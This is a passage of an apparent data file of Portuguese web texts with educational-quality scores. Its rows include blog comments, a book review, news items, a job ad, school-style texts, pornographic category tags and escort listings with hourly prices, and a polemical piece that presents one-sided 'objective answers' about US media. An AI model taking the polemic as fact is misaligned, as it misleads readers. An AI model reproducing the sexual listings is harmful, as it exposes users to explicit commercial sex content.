melhor..Adorei seu post! +Nossa 5 anos já conheci o blog faz uns meses só e amo vir aqui. +Imagino como você se sente, mas ainda bem que não desistiu e está aqui sempre inovando e trazendo conteúdos divertidos, diferentes para nós. +Estava pensando justamente em como tudo começou, juro. Não faz muito tempo que conheci seu blog através do Instagram, mas é um dos meus favoritos e um dos poucos que me sinto mais a vontade para opinar. Não sinto que é de criador de conteúdo para leitor, mas uma conversa e gosto da opinião clara e sincera que trazem. +Todo esforço é nítido e a organização do cenário que criou, as resenhas, TUDO, transborda tanto amor. De verdade. Toda dose de sucesso é merecida. Fico feliz que não tenha desistido. +Eu até tentei criar um para mim, só que desisti pois não sabia como mexer. +Mais Parabéns por ter persistido ao criar esse blog. +Fico feliz que você tenha persistido com o blog! +Imagino que demande muito tempo para ter a ideia, depois trabalhar nela, então tirar fotos e escrever um bom texto para todos os posts! Parabéns por todo o seu trabalho! +Espero que você continue com ele por muito mais tempo! Sucesso sempre! +Fico feliz que em um dia qualquer de 2013 você acordou com a vontade de criar um blog, fico mais feliz ainda por manter. +Olhando de fora, parece um processo fácil, mas isso é tudo o que não é. +Espero que estejamos retribuindo esse espaço de forma adequada. +E não desista desse espaço, ele é lindo demais. +Acho que quem mantém um blog com resenhas ou dicas de séries, filmes e afins, não acorda simplesmente e decide que vai abrir um blog e pronto. Acredito que já era algo que tipo vivia dentro de você e apenas despertou numa manhã! +E também acho que ninguém sabe realmente como é todo o processo. Alguns blogs ainda mantém parcerias com Editoras, mas isso só vem com o tempo e pelo pouco que sei, número de seguidores. Alguns, vão na raça mesmo, como você! +Tenho vindo aqui há apenas alguns dias e já o coloquei na minha lista de favoritos, que são os blogs que faço questão de ir diariamente. Como tempo pouquíssimo tempo, separo alguns e aqui está entre eles! +Eu?? Apenas agradeço a dedicação!!!!",original,original,original,original,1,0.2 +"Terrarium tem tudo para ir parar à pequena história da FC portuguesa num lugar de grande destaque. Senão, vejamos: +Com as suas quase 600 páginas, é o maior romance de FC já escrito e publicado em Portugal. +É o primeiro (e até agora único) romance da FC portuguesa que nasce da colaboração entre dois autores de topo do género entre nós. +É um romance estruturalmente bizarro, o que se reflecte no subtítulo (um romance em mosaicos). +É por muitos considerado o melhor romance de FC já escrito em língua portuguesa. +E, do lado negativo, é o romance que marca o quase desaparecimento dos dois autores, que não voltaram a sair em livros próprios até hoje, tendo publicado apenas contos em revistas e colectâneas e, mais recentemente, na web. +Como é apanágio da ficção de João Barreiros, aqui fielmente seguida pelo co-autor, as coisas vão-se desenrolando com um detalhe que chega a ser barroco, numa hiper-violência demencial e, claro, sempre cada vez pior até à catástrofe final. Uma coisa o livro não é: chato. As 600 páginas não passarão num ápice, mas passam certamente depressa. +OK, então Terrarium é um livro complexo na história e na estrutura, exigente, não chato, etc. Será que não tem defeitos? +Teria sido evitável? Dificilmente. A prosa de João Barreiros é demasiado característica, e o próprio Barreiros não é escritor que aceite bem a necessidade de escrever de outra forma que não a sua. Uma coordenação estilística mais profunda significaria quase inevitavelmente uma diluição de Luís Filipe Silva. E este também não veria tal coisa com bons olhos, certamente. +Assim, quem fica a perder é o romance. Esta luta de vozes fá-lo perder parte da sua eficácia, fazendo-o baixar a barreira do extraordinário. Mas ainda assim, é um romance excelente, e imprescindível para todos os que querem dizer com propriedade que sabem algo do que falam quando falam de FC portuguesa. +e escreveu a introdução e os contos:",original,original,original,original,1,0.2 +"Choldraboldra: A mídia corporativa dos EUA é essencialmente órgão de propaganda do governo dos EUA +A mídia corporativa dos EUA é essencialmente órgão de propaganda do governo dos EUA +Onde está a verdade, e como você pode encontrá-la? +Tradução / Seria a mídia corporativa norte-americana notadamente composta por órgãos de propaganda ou agências de notícias? +Aqui estão alguns pontos a se considerar e, então, o leitor pode decidir. Confira algumas perguntas abaixo e verifique como a mídia corporativa dos EUA geralmente produz suas respostas: +1. Se o Estado Islâmico ou a Al Qaeda deliberadamente atacam civis, como no recente episódio em Paris, indiscriminadamente matando dezenas de pessoas, seria isso terrorismo? +Resposta objetiva: Sim +Resposta da mídia dos EUA: Sim +2. Se os EUA deliberadamente atacam civis, como no caso do hospital dos Médicos Sem Fronteiras em Kunduz, Afeganistão, matando indiscriminadamente dezenas de pessoas, seria isso terrorismo? +Resposta da mídia dos EUA: Não +3. Se o governo chinês assume o controle de uma ilha minúscula, reivindicada por outra nação, e ali instala uma base militar, seria esse um exemplo de agressão, uma violação do direito internacional e uma provocação? +4. Se o governo dos EUA assume o controle e, em seguida, se recusa a renunciar uma porção de uma minúscula ilha, propriedade de outro país, neste caso Cuba, e ali instala uma base militar (como tem feito já por décadas, no caso da Baía de Guantánamo) seria esse um exemplo de agressão, uma violação do direito internacional e uma provocação? +5. Se a líder de um partido que ganha a eleição nacional, mas anuncia que, na verdade, é ela que tomara todas as decisões importantes para o governo recém eleito, como Suu Ky anunciou que fará em Mianmar, seria esse um exemplo de comportamento antidemocrático ou de caudilhismo? +6. Se um país estrangeiro coloca mísseis apontados para outra nação no território de um país adjacente ao país-destino, como fez a URSS em Cuba, seria essa uma ameaça para o país de destino, no caso os EUA? +7. Se os EUA colocam mísseis na Polônia apontados pra Rússia, como fizeram, ou colocam armamento nuclear na Alemanha, também tendo a Rússia como alvo, o que foi feito, seriam essas ameaças para a Rússia? +8. Se o Irã proporciona assistência militar aos rebeldes de um país vizinho como Iêmen e tal grupo, os Houthis, com sucesso derrubam um autocrata do poder, seria isso subversão? +9: Se os EUA financiam organizações dentro de outro país que organizam protestos, marchas e atentados sangrentos que, finalmente, derrubam o governo eleito, como os EUA fizeram na Ucrânia, seria isso subversão? +10. Se o Irã, signatário do Tratado de não Proliferação Nuclear, pretende desenvolver capacidade de refino do urânio-235, o que um dia poderia ser usado para fabricar armamento nuclear, mas concorda com inspeções e supervisão internacional, seria essa uma grave ameaça à estabilidade regional no Oriente Médio e à paz mundial? +Resposta objetiva: não, já que existe outra poderosa nação com armamento nuclear no Oriente Médio, com a capacidade de obliterar totalmente o Irã — ou seja, Israel. +Resposta da mídia: Sim +11: Se Israel, que nunca assinou o Tratado de não Proliferação, se recusa a permitir inspeções em suas instalações nucleares, é conhecido por ter centenas de armas nucleares, bem como os aviões e mísseis para enviá-los a qualquer lugar, seria essa uma grave ameaça à estabilidade regional no Oriente Médio e à paz mundial? +12: Se uma pessoa revela, por dinheiro, a uma potência estrangeira, o funcionamento interno do sistema de interceptação de sinais da Agência de Segurança Nacional (NSA), bem como as identidades de centenas de agentes da inteligência secreta dos EUA, como fez o espião israelense Jonathan Pollard, seria ele um inimigo dos Estados Unidos? +13. Se uma pessoa revela, em ato de princípio e enquanto denunciante, sem compensação financeira, a espionagem ilegal e inconstitucional contra cidadãos americanos da NSA, como fez Edward Snowd...",original,original,original,original,3,0.6 +"China e Belarus divulgam declaração conjunta para criar parceria estratégica abrangente sob quaisquer condições +Xi Jinping se reúne com presidente Aliyev do Azerbaijão +Xi Jinping reúne-se com presidente bielorrusso Lukashenko +Português>>Tec&Militar +China: cápsula de retorno de Shenzhou-13 é exibido ao público pela primeira vez (5) +Fonte: Diário do Povo Online 16.09.2022 10h52 +A cápsula de retorno de Shenzhou-13 foi exibida ao público pela primeira vez no salão do Centro de Ciência de Beijing, na quinta-feira (15). E na exibição podem também ser vistos vários objetos valiosos de naves espaciais, tais como o pára-quedas da cápsula de retorno, os restos do foguete transportador Longa Marcha-3A e entre outros.",original,original,original,original,3,0.6 +"Nossa gente aqui na Ambev sonha GRANDE! Somos milhares de apaixonados pelo que fazemos. Nosso maior objetivo é inovar no setor de bebidas com a maior qualidade e diversidade possível, para que você possa brindar qualquer ocasião escolhendo o que mais gosta! +A nossa Cultura é focada em construir um ambiente inclusivo e colaborativo, onde as pessoas possam ser o melhor delas mesmas! Gente é o nosso maior ativo, afinal sabemos que investir no potencial de nossos colaboradores é trazer ainda mais qualidade ao nosso negócio e às nossas bebidas. Por isso, estamos sempre em busca de talentos diversos, dispostos a construir esse grande sonho com a gente de unir as pessoas por um mundo melhor. +Prazer, somos a Ambev e adoraríamos te ter com a gente. +Responsabilities and assingments +A rotina do cargo inclui: +Oferecer suporte para a área de atuação, exercendo atividades que visam o desenvolvimento profissional do estagiário, sendo compatíveis com o curso técnico, visando futura efetivação. +Requirements and qualifications +Formação: +Ensino Técnico +Additional information +Benefícios: +Bolsa auxílio; +Plano de Saúde; +Auxílio Transporte ou fretado (dependendo a unidade); +Vale alimentação ou refeitório (dependendo a unidade); +Gympass; +Gente 360; +Sonhar, se desenvolver, construir e crescer dentro em um ambiente meritocrático e inclusivo; +Fazer a diferença unindo as pessoas por um mundo melhor. +Seja bem-vindo à Ambev +Atualmente a nossa Cultura passa por um processo de transformação e evolução. A nossa história e o nosso jeito de ser são marcados por sonhos grandes que nos trouxeram até aqui e que nos enchem de orgulho! Mas acreditamos que o momento de evoluir é sempre o agora e poder fazer isso junto com a nossa gente é o que torna nossa jornada ainda mais incrível. +Nossa cultura honra o passado e hoje também é norteada por 3 principais valores que nos guiam para sermos uma cia cada vez mais inclusiva, diversa, colaborativa, tecnológica e conectada ao futuro do mundo e da nossa plataforma de negócios, são eles: Escuta Ativa, Colaboração e Visão de Longo Prazo, cada um abarcando outras competências que fazem parte do nosso jeito de ser. +Nos orgulhamos da nossa capacidade de realização e paixão que nos trouxeram até aqui e para continuarmos a evoluir juntos te convidamos a fazer parte também dessa jornada.",original,original,original,original,2,0.4 +"Jovem, A Sós, Brinquedos, Ratinha, Raspada +Beijando, Oral, Sexo Em Grupo, Jovem, Vibrador +Tomando Banho, Dona De Casa, Masturbação, Brinquedos, Vibrador +Mamãe Sexy, Masturbação, Vibrador, Feito Em Casa, Dona De Casa",original,original,original,original,0,0.0 +"Sebrae Minas dá dicas para quem quer faturar mais na Páscoa | Carta de Notícias +Home Economia Sebrae Minas dá dicas para quem quer faturar mais na Páscoa +Sebrae Minas dá dicas para quem quer faturar mais na Páscoa +Por: Cid MirandaEm: 16 de abril de 2019 Economia +No Brasil, 6,5 mil Microempreendedores Individuais (MEI), que faturam até R$ 81 mil por ano, trabalham na fabricação de derivados do cacau e chocolate. Em Minas Gerais, são quase 800 pessoas que investem neste segmento. E com a proximidade da Páscoa, o chocolate caseiro e artesanal vem ganhando cada vez mais a preferência dos consumidores pela originalidade, preço e personalização. +A microempresária Marilza de Oliveira, de olho nesse cenário, há dez anos decidiu investir no segmento da confeitaria na cidade onde mora, em Ipatinga. Ela então procurou o Sebrae Minas, onde se formalizou como empreendedora e se capacitou. A cada ano Mari, como é conhecida no Vale do Aço, busca inovar para melhorar a sua produção de ovos de chocolate no período de Páscoa. “Além de me capacitar, para produzir o melhor para meus clientes, eu invisto em divulgação. As redes sociais se tornaram ferramentas importantes para a disseminação do meu trabalho”, disse a empresária, que espera aumentar as vendas em 70%, com relação ao mesmo período do ano passado. +E ainda dá tempo para quem quer aproveitar o período e faturar mais. Fique atento às 10 dicas do Sebrae Minas: +Personalize. Ideias como monte seu ovo ou escolha a receita podem conquistar vários clientes. +Inove sempre. Invista em embalagens e adereços que chamem a atenção. Quanto mais criatividade, maiores as chances de vendas. +Use ingredientes de qualidade. A qualidade e o bom atendimento fazem com que o cliente volte no Dia dos Namorados, Dia das Mães e muitas outras datas. +Planeje suas compras. Crie metas de compras e de vendas em comparação com o ano anterior. Se não for possível, faça estimativas. +Invista em nichos de mercado. Faça produtos diferenciados direcionados para crianças, fitness, diet ou para quem intolerância a lactose. +Não esqueça de colocar na ponta do lápis todos os gastos que teve, incluindo energia elétrica, gás, transporte, embalagem e sua mão de obra. Assim, você consegue precificar corretamente o seu produto. E se tiver dúvidas, use a consultoria gratuita de finanças do Sebrae via telefone (0800 570 0800) ou chat (www.sebrae.com.br/minasgerais) . +Divulgue o quanto puder e o quanto antes. Aproveite as mídias sociais para mostrar seus produtos e se relacionar com o seu cliente. +Escolha os meios de contato que vai disponibilizar para as vendas e esteja atento a eles. Não adianta divulgar o WhatsApp, por exemplo, e não responder as mensagens. Lembre-se de que quanto mais fácil o contato, maiores serão as chances de fazer negócio. +Ofereça combos promocionais. A estratégia faz com que o consumidor volte os olhos para uma oferta que abrange vários produtos. +Contabilize suas vendas para que no próximo ano você possa estipular metas e novos desafios. +Presidente da Usiminas participa do Conexão Empresarial 2019 +Jovens são responsáveis por quase metade do saldo de emprego em MG +Inscrições para o Empretec em Ipatinga terminam nesta sexta",original,original,original,original,2,0.4 +"Já pensou em viajar pelo Brasil sem sair da sua cadeira? A literatura brasileira é como um portal mágico que nos transporta para diferentes lugares, culturas e épocas do nosso país. Embarcar nessa aventura é uma forma incrível de aprender sobre nós mesmos e sobre o mundo ao nosso redor. + +Imagine, por exemplo, conhecer a vida dura dos retirantes no sertão nordestino através dos livros de Graciliano Ramos. Ou então, se encantar com as lendas e os mitos da Amazônia, narrados de forma tão envolvente por autores como Márcio Souza. Cada livro é como um novo destino, cheio de surpresas e ensinamentos. + +A literatura não é apenas sobre ler palavras em um papel. É sobre sentir, imaginar e refletir. Quando lemos um livro, nos colocamos no lugar dos personagens, vivenciamos suas alegrias e tristezas, e aprendemos com suas experiências. Isso nos ajuda a desenvolver a empatia, que é a capacidade de entender e se colocar no lugar do outro. E essa é uma habilidade muito importante para a vida! + +Além disso, a literatura nos ajuda a entender a nossa própria história. Os livros nos mostram como o Brasil se formou, quais foram os desafios que enfrentamos e como superamos esses obstáculos. Conhecer a nossa história é fundamental para construirmos um futuro melhor. + +Mas como começar essa jornada literária? A dica é procurar livros que te interessem. Se você gosta de aventuras, procure livros de aventura. Se você gosta de histórias engraçadas, procure livros de humor. O importante é começar e se deixar levar pela magia das palavras. + +Uma boa ideia é começar com obras que retratam a realidade brasileira de uma forma que você se identifique. Autores como Ziraldo, com o Menino Maluquinho, ou Ruth Rocha, com suas histórias sobre crianças e adolescentes, são ótimos para começar. Eles mostram o Brasil de uma forma leve e divertida, sem deixar de abordar temas importantes como amizade, família e respeito às diferenças. + +A literatura brasileira é um tesouro que está ao nosso alcance. Que tal começar a explorá-lo agora mesmo? Qual livro você gostaria de ler hoje? Que histórias você quer descobrir sobre o nosso Brasil?",Português,Literatura brasileira,anos finais (6º ao 9º ano),"O trecho possui alto valor educacional. Apresenta a literatura brasileira como ferramenta de aprendizado sobre cultura, história e desenvolvimento da empatia. A linguagem é acessível e motivadora, adequada para o público do ensino fundamental, incentivando a leitura e a exploração de autores e temas relevantes para a formação integral do aluno. Aborda conceitos importantes e oferece sugestões práticas para iniciar a jornada literária.",5,1.0 +"Muitas informações sobre as plantas, também chamadas de vegetais escola kids para a fotossíntese ocorrer, é necessária a luz do sol, água e gás. O homem tirou partido desta enquanto a planta fornece aos fungos carboidratos produzidos na fotossíntese algumas plantas servem como residências para fungos. Leia este sociais aplicadas abstract e mais 671000 outros documentos de pesquisas fotossíntese e importância das plantas para o homem ciências naturais 6º ano. +Há uma infinidade de outras importantes utilizações das plantas pelo homem que Ótimo resumo sobre a importância das plantas para o fotossíntese (2. +Apenas alguns tipos de organismos vivos realizam fotossíntese: plantas a fotossíntese é importante para o homem sobre a importância da fotossíntese e. +As plantas sempre foram usadas pelos animais para curar seus males o homem observava e também passou a utilizá-las (fotossíntese. +A importância da fotossíntese para a vida no planeta apenas alguns tipos de organismos vivos realizam fotossíntese: plantas inclusive o homem.",original,original,original,original,3,0.6 +"Tudo InfantilCanecasEscritórioPromoçõesAgendas e CadernosDiversosTecnologiaCanetasChaveirosGarrafas e squezzePeluciaPastaVestuário +Contato: (15) 3212-7893 +Email: loja@bos.org.br +Categories +Home +Loja +Promoções +Sobre Nós +Contato +Home +Loja +Promoções +Sobre Nós +Contato +Tudo InfantilCanecasEscritórioPromoçõesAgendas e CadernosDiversosTecnologiaCanetasChaveirosGarrafas e squezzePeluciaPastaVestuário",original,original,original,original,1,0.2 +"A análise dos dados mostra que aconteceram 1.681 casos a mais do que o registrado no mesmo período de 2009, representando um aumento de 270,3 %. +Cerca de 2.303 casos de dengue são confirmados na Paraíba. Esse foi o número de ocorrência até o último mês de julho, sendo 18 de febre hemorrágica. A análise dos dados mostra que aconteceram 1.681 casos a mais do que o registrado no mesmo período de 2009, representando um aumento de 270,3 %. +O diagrama de controle da dengue na Paraíba não aponta uma epidemia da doença em 2010, mas a SES - Secretaria de Estado da Saúde alerta que as pessoas procurem as unidades básicas de saúde, aos primeiros sintomas, para qeu seja facilitada a identificação e o tratamento de casos graves e, consequentemente, as mortes. +Autor: JG com informações de http://www.wscom.com.br / Foto disponível em: blogdaeureka.blogspot.com",original,original,original,original,1,0.2 +"segunda-feira, 20 de dezembro de 2010 +Por muito tempo a peste bubônica ou peste negra e outras enfermidades assolaram o continente europeu desde a Antiguidade até o século XIX, já na Idade Contemporânea, no entanto, o foco deste texto dirá respeito aos séculos XIV ao XVII, quando os surtos da peste negra assombravam mais rotineiramente as nações europeias causando caos e medo nas pessoas. Neste trabalho foquei não apenas os relatos daquela época sobre a peste, mas como era a concepção de seus contemporâneos sobre a peste, que motivos eles davam para que tais calamidades ocorressem, e como elas ocorriam. +No século XIV a Europa presenciou o auge dos surtos da peste bubônica, uma doença causada pela bactériaYersinia pestis, transmitida por pulgas, principalmente encontradas nos ratos pretos, que viviam nas cidades. A peste negra teve sua origem na Ásia, em algum lugar próximo as fronteiras da China, e se espalhou pela Ásia Central, e possivelmente para a Índia e o Sudeste Asiático. Devemos nos lembrar que nesta época a Rota da Seda ainda estava em pleno vigor, e era uma das vias mais extensas e principais do continente asiático, que ligava o Extremo Oriente ao Mar Mediterrâneo. Através dos animais, principalmente de ratos e de seres humanos infectados, a peste negra chegou a Europa e se alastrou por esta. Devemos ter em mente que os hábitos higiênicos pessoais e públicos eram bem precários, e isso facilitou a proliferação da doença nas cidades e posteriormente nos campos. ""A peste bubônica caracterizava-se pelo aparecimento de gânglios muitos inchados (bubões) nas virilhas, no pescoço e nas axilas, associadas a febre elevada que ocasiona confusão mental ou delírio, calafrios, dores difusas e vômitos"". (Grande Enciclopédia Larousse Cultural, 1998, p. 4579). +A peste também poderia atacar os pulmões, provocando asfixia, cianose e tosse com sangue, problemas respiratórios que poderiam levar a uma parada pulmonar. Devido a alta proliferação da bactéria, a doença era transmitida pelo ar entre os humanos, através da tosse, saliva e espirro. Sem tratamento a doença levava a morte em poucos dias, mais a frente, veremos que relatos na época diziam que a peste levava a morte em poucas horas. +Pelo fato de não se conhecer nesta época antibióticos, a doença vitimou dezenas de milhões de vidas por toda a Europa, chegando ao ponto de que alguns estudiosos indicam que pelo menos um terço da população europeia tenha perecido. +A praga de Azoth (Die Pest von Azoth). Nicolas Poussin. 1630-1631. +""Em 1347, atingiu Constantinopla e Gênova e logo toda a Europa, de Portugal e da Irlanda a Moscou. As devastações da 'morte negra' estenderam-se pelos anos 1348-1351, eliminando, assegura Froissart, 'a terça parte do mundo'"". (DELUMEAU, 1998, p. 107). +""Em 1359, ei-la na Bélgica e na Alsácia; em 1360-1361, na Inglaterra e na França. Em 1369, ela ataca novamente a Inglaterra, depois devasta a França de 1370 a 1376, para passar mais uma vez para além da Mancha. A Itália não estava mais bem aquinhoada"". (DELUMEAU, 1998, p. 107). +Nos séculos XVI e XVII a peste ainda continuava a ceifar muitas vidas, atacando locais como Londres, Veneza, Milão, Marselha e e vários locais da Espanha. +Mapa da Europa com os locais onde a peste negra ocorreu durante o século XIV. Clique no mapa para ler a legenda. +""Segundo os historiadores britânicos, a Inglaterra teria sido amputada de 40% de seus habitantes entre 1348 e 1377 (tendo 3.757.000 na primeira data e 2.223.375 na segunda)"". (DELUMEAU, 1998, p. 109. +Relatos de testemunhas na França, Itália, Espanha, Alemanha e em outros locais, apontam que pelo menos um terço e em alguns casos até mesmo a metade da população de uma cidade ou região, fora dizimada. Porém é evidente que em alguns relatos as testemunhas exageraram em alguns detalhes e números, mesmo assim, o índice de mortalidade causado pela peste que vai do século XIV ao XVII foi exorbitante, onde em uma única cidade centenas ou até mesmo milhares poderiam perecer em questão d...",original,original,original,original,4,0.8 +"Futebol amador de Palhoça está suspenso devido a mudanças em projeto de lei - Esportes - Hora de Santa Catarina +Futebol amador de Palhoça está suspenso devido a mudanças em projeto de lei +A Liga Palhocense de Futebol suspendeu todas as rodadas de cinco campeonatos amadores por tempo indeterminado. A medida afeta cerca de 800 atletas. Tudo por conta de alterações no projeto de lei que autoriza o repasse de recursos para a realização dos torneios. Novas competições foram colocadas no calendário, e para a entidade elas são impossíveis de serem realizadas. +Os campeonatos suspensos são: 1ª e 2ª divisões, juniores, 40tão e 50tão, totalizando 41 equipes. Segundo o presidente da liga, Laurindo José de Souza, o texto encaminhado à Câmara de Vereadores foi modificado por parlamentares que acrescentaram campeonatos como a Copa Barra (do Aririú), Copa da Amizade (Ponte do Imaruim) e Copa Noroeste (Passa Vinte). Para a realização de cada uma dessas competições, seriam necessários mais R$ 10 mil, além dos R$ 70 já disponibilizados pela prefeitura. +No momento, o projeto está nas mãos do líder do governo da Câmara, Rosinei Horácio (PSD), que levará o projeto para debater com o prefeito Camilo Martins. Caso os novos campeonatos sejam retirados, o PL volta para a Comissão de Constituição e Justiça, que tem como presidente Jean Negão (PP). +– Quando ele tramitou na CCJ da primeira vez, ficou aqui por um dia, dada urgência do campeonato. Agora, se nenhum vereador pedir vista, na próxima segunda-feira (21) ele deve ser aprovado – acredita o político. +A Liga promete pressionar os vereadores para aprovação do projeto original. Somente nessa condição Laurindo Souza irá autorizar a volta dos jogos. +Esta é a segunda ameaça ao futebol amador da Grande Florianópolis em 2017. Em março, por conta de uma mudança da CBF, que passou a exigir exames médicos dos atletas, a Liga Palhocense se afastou da Federação Catarinense de Futebol. O custo seria de cerca de R$ 100 por jogador. Por isso, os campeonatos desse ano deixaram de ser federados. Além de Palhoça, outros campeonatos municipais também passam por problemas. +Em Florianópolis, começou neste final de semana a primeira divisão. A segundona terminou na semana passada, com o Vila Nova campeão e o Pântano do Sul vice. No entanto, devido à redução de repasses da prefeitura, a terceira divisão foi mesclada com a segunda. +O Município repassava anualmente R$ 148 mil para a Liga Florianopolitana de Futebol (Liff). Em 2017, o valor diminuiu para R$ 110 mil, medida que impediu a realização de três competições: Copa Floripa, juniores e a Terceirona. O calendário terá apenas primeira, segunda (já encerrada), infantil e juvenil. +— Para ano que vem, vamos torcer para que o valor do convênio seja maior para que a gente consiga ampliar as competições — deseja o presidente da Liff, Manoel de Paula Machado, o Dequinha. +Já o problema dos exames médicos foi resolvido através de um convênio entre a liga e um médico, que foi até a sede da entidade realizar o procedimento ao custo de R$ 30 aos atletas, fora os R$ 5 de taxa da CBF. Tudo para manter as competições federadas, já que o TJD não julga recursos de competições que não sejam oficiais. +A primeira divisão começa neste domingo de forma federada, diferente da segundona, que não teve o crivo da Federação Catarinense de Futebol. O convênio entre a Fundação Municipal de Esporte e associação de árbitros não teve problemas. +O impasse envolve o ginásio Forquilhão. A liga josefense de futebol quer passar a administração do espaço para ela. Só que outro time de futebol, este americano, também utiliza o espaço, o São José Istepôs. +— O campo está em más condições desde o último jogo do futebol americano. Eles tem outros espaços para eles jogarem no Município — reclamou o presidente da Liga Josefense, Orivaldo Leal. +O campeonato municipal de Biguaçu já está no segundo turno. Devido ao impasse envolvendo os exames médicos, o torneio acabou não sendo federado. Mas em outubro, será realiza...",original,original,original,original,3,0.6 +"O Preço do Gás Natural | Lojaluz +Se na sua morada tem gás natural e as suas tarifas ainda estão vinculadas ao mercado regulado, iremos explicar sobre as vantagens de mudar para o mercado liberalizado e como se compõem as tarifas para que possa entender todas as parcelas que está a pagar +O Mercado Livre de Gás Natural +As tarifas transitórias de gás natural +O Preço do Gás Natural no Mercado Livre +Como se decompõe o preço do gás natural +Impostos pagos no Gás Natural +Análise dos preços nos provedores de gás +Portugal não possui jazidas de gás natural e, portanto, os seus maiores provedores são a Argélia e Nigéria. Através de contratos “take-or-pay” de longo prazo, é feito o aprovisionamento de gás natural para o mercado português. +Este gás é transportado por via da interligação de gasodutos da África com Espanha ou por navios metaneiros no terminal portuário de Sines. A atividade de transporte é exercida pela Rede Nacional de Transporte. Este operador também é responsável pela Gestão Técnica Global da SNGN, assegurando uma gestão eficiente do mesmo, a coordenação do funcionamento das infraestruturas do sistema e a cooperação com o operador da rede de transportes interligada. +Já a distribuição do gás natural é feita por 11 operadoras de distribuição regionais, mediante atribuição pelo Estado de concessões de serviço público. +Atualmente existem 11 empresas comercializadoras e esta atividade é livre, apesar de estar sujeita à atribuição de licença pela entidade competente. Estas companhias podem comprar e vender livremente gás natural e, para tal, possuem o direito de acesso às instalações de armazenamento e terminais de GNL, às redes de transporte e às redes de distribuição, mediante o pagamento de uma tarifa regulada. +CONTRATOS TAKE-OR-PAY Contratos take-or-pay são acordos escritos entre um comprador e um vendedor que obrigam o primeiro a pagar, pelo menos, uma parte do valor total do produto, independentemente, de que a entrega do bem ou serviço, por parte do vendedor, seja feita. A sua principal função é garantir que o fornecedor não precise sofrer os custos de despesas quando o comprador muda de ideia. +Em janeiro de 2007 iniciou-se o processo de liberalização do mercado de gás natural. Da mesma maneira que ocorreu no mercado livre de eletricidade, este procedimento foi realizado gradualmente: +Em janeiro de 2007 foi aberto a produtores de eletricidade em regime ordinário; +Em janeiro de 2008, a clientes com consumo anual superior a 1 milhão de m3 (n); +1 ano depois, em janeiro de 2009, a clientes com consumo anual superior a 10 000 m3 (n); +Por último, em 2010, o mercado livre de gás natural foi aberto para todos os clientes. +Segundo estudos de fevereiro de 2016, a totalidade de grandes consumidores já aderiu ao mercado livre e também a maioria dos consumidores industriais. No segmento doméstico, são 72%. No total, já são 1 milhão de consumidores do mercado livre. De acordo com este mesmo relatório, a EDP constava como a principal operadora em número de clientes, seguida pela Galp. +Ao final de 2012, deixaram de existir as tarifas reguladas de venda a clientes finais, no entanto, para os portugueses que ainda não fizeram a mudança para o mercado livre, a ERSE continua a estabelecer uma tarifa transitória para o mercado regulado, que estará em vigor até dezembro de 2017 para ser aplicada pelos comercializadores de último recurso. +Esta é obtida pela adição das tarifas reguladas de Acesso às Redes, de Comercialização de Último Recurso e de Energia. +No mercado livre, os comercializadores negociam as condições comerciais e os preços da componente de energia com os seus clientes e incluem o pagamento das tarifas reguladas de acesso às redes. +INFORMAÇÃO DE PREÇOS – ESTIMATIVA DO GÁS NATURALSe necessita ajuda para escolher a melhor tarifa de gás natural, entre em contacto com a Lojaluz, somos a comparadora de eletricidade no mercado livre de gás natural e eletricidade +Os preços do gás natural estabelecem o pagamento pela utilização das infrae...",original,original,original,original,2,0.4 +"Sou morena cabelos ondulados medios kg altura . . branquinha seios médios e firmes sou apertadinha sou intensa na hora H gosto de surpreender parceiro sou gentil comunicativa +Jaru - RO +R$ 145 /h +Perfil verificado +Estevany sales +47 anos +extrovertida e carinhosa traza gostoso top do praze venha tem uma hora comigo de praze +Jaru - RO +R$ 200 /h +Perfil verificado +Fernanda Medeiros +22 anos +Olá tudo Bem +Jaru - RO +R$ 250 /h +Perfil verificado +Amanda +25 anos +Atendo +Monte Negro - RO +R$ 180 /h +Perfil não verificado +Veja nossos filtros +Busque acomapanahntes de acordo com sua preferência +Com LocalEm MotelEm HotelÀ DomicílioAceita ViajarSexo AnalSexo OralAtivo(a)Passivo(a)Beijo na BocaBeijo GregoMasturbaçãoChuva DouradaInversãoDominaçãoMassagemMassagem TântricaStripteaseBDSMFestas e EventosAtende MulherAtende HomemAtende CasalAtende TransexAtende GrupoAceita dinheiroAceita Cartão de CréditoAceita Cartão de DébitoCom WhatsappCom Perfil VerificadoNinfetasCoroasDe LuxoEconômicas +CONHEÇA AS MELHORES GAROTAS CACAULÂNDIA +Para quem procura prazer e diversão com uma delicosa scort, a cidade de Cacaulândia oferece lindas e gostosas acompanhantes prontíssimas para realizar seus desejos e fetiches. +Acompanhantes que não poupam esforços para agradar e dar muito prazer para seus clientes na cama. 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Um exemplo disso, é o que é realizado pelo Serviço Social da Indústria de Pernambuco (Sesi/PE). Na empresa, 53% dos cargos são ocupados por mulheres. Elas também respondem por 60% dos cargos de liderança, incluindo de diretoria. +Umas dicas importantes para igualdade de oportunidades para mulheres no mercado de trabalho que são dadas pela Organização das Nações Unidas (ONU):",original,original,original,original,3,0.6 +"Olá, jovens exploradores da língua portuguesa! Já pararam para pensar como um pequeno sinal gráfico pode mudar completamente o sentido de uma frase? Hoje, embarcaremos em uma aventura para desvendar os segredos da vírgula, essa pequena, mas poderosa, ferramenta da escrita. + +A vírgula não está ali por acaso. Ela é como um guia, indicando pequenas pausas na leitura e nos ajudando a organizar as ideias. Imagine que você está correndo uma maratona. A vírgula seria como aqueles pontos de hidratação, que te dão um respiro para continuar com mais energia. Sem ela, a leitura pode se tornar cansativa e confusa. + +Um dos usos mais comuns da vírgula é separar elementos em uma enumeração, ou seja, quando listamos coisas. Por exemplo: ""Para fazer um bolo delicioso, precisamos de farinha, ovos, leite e açúcar."" Observe como a vírgula separa cada ingrediente, tornando a frase clara e fácil de entender. + +Outra função importante da vírgula é isolar o vocativo. O que é vocativo? É quando chamamos alguém diretamente. Por exemplo: ""Maria, você pode me ajudar com a lição?"" Veja que a vírgula separa o nome 'Maria' do restante da frase, indicando que estamos nos dirigindo a ela. + +A vírgula também pode ser usada para separar explicações ou informações adicionais dentro de uma frase, o que chamamos de aposto. Por exemplo: ""Machado de Assis, um dos maiores escritores brasileiros, escreveu Dom Casmurro."" A parte 'um dos maiores escritores brasileiros' é uma informação extra sobre Machado de Assis e, por isso, é separada por vírgulas. + +Um erro comum é usar vírgula entre o sujeito e o verbo. Por exemplo, a frase ""O cachorro, latiu"" está incorreta. A vírgula não deve separar o sujeito do que ele faz (o verbo). Lembre-se: eles são como melhores amigos, sempre juntinhos! + +Agora, pensem comigo: como a ausência ou o uso incorreto da vírgula pode mudar o sentido de uma frase? Observem estas duas frases: + +* ""Não espere."" +* ""Não, 